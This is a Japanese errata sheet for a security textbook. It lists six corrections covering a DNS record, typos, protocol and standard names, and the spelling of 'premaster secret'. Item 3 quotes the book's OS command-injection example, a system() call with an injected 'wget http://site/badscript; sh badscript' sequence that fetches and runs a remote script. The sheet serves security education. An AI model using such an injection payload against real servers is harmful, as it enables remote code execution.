

正 誤 表

下記の部分に誤りがありましたので訂正させていただきます。
ご迷惑をおかけし大変申し訳ございません。

セキュリティ技術の教科書 第2版 第1刷

No	訂正箇所	誤	正
1	P. 42 図表 2-30 NS レコード	例 itec.co.jp IN NS dns1.itec.co.jp.	例 itec.co.jp. IN NS dns1.itec.co.jp.
2	P. 172 下から 3 行目	または、安全な確認されている URL だけを…	または、安全と確認されている URL だけを…
3	P. 206 下から 3 行目	Web サーバでは、system (“attacker@malicious.com </dev/null; wget http://site/badscript; sh badscript #”) ; が実行される。	Web サーバでは、system (“ sendmail attacker@malicious.com </dev/null; wget http://site/badscript; sh badscript #”) ; が実行される。 ※「sendmail」と直後の半角アキを追加
4	P. 228 (4)STARTTLS の 本文の最終行	そのまま SMTPS 通信や POPS3 通信に移行します。	そのまま SMTPS 通信や POP 3S 通信に移行します。
5	P. 342 図表 11-9 「エンティティ 認証」の 二つ目の名称	ISO/IEC 9798-2	ISO/IEC 9798- 3
6	P. 395 問 7-4 の二つ目 の囲み罫の中 (合計 6 か所)	プレマスタシークレット	プ リ マスタシークレット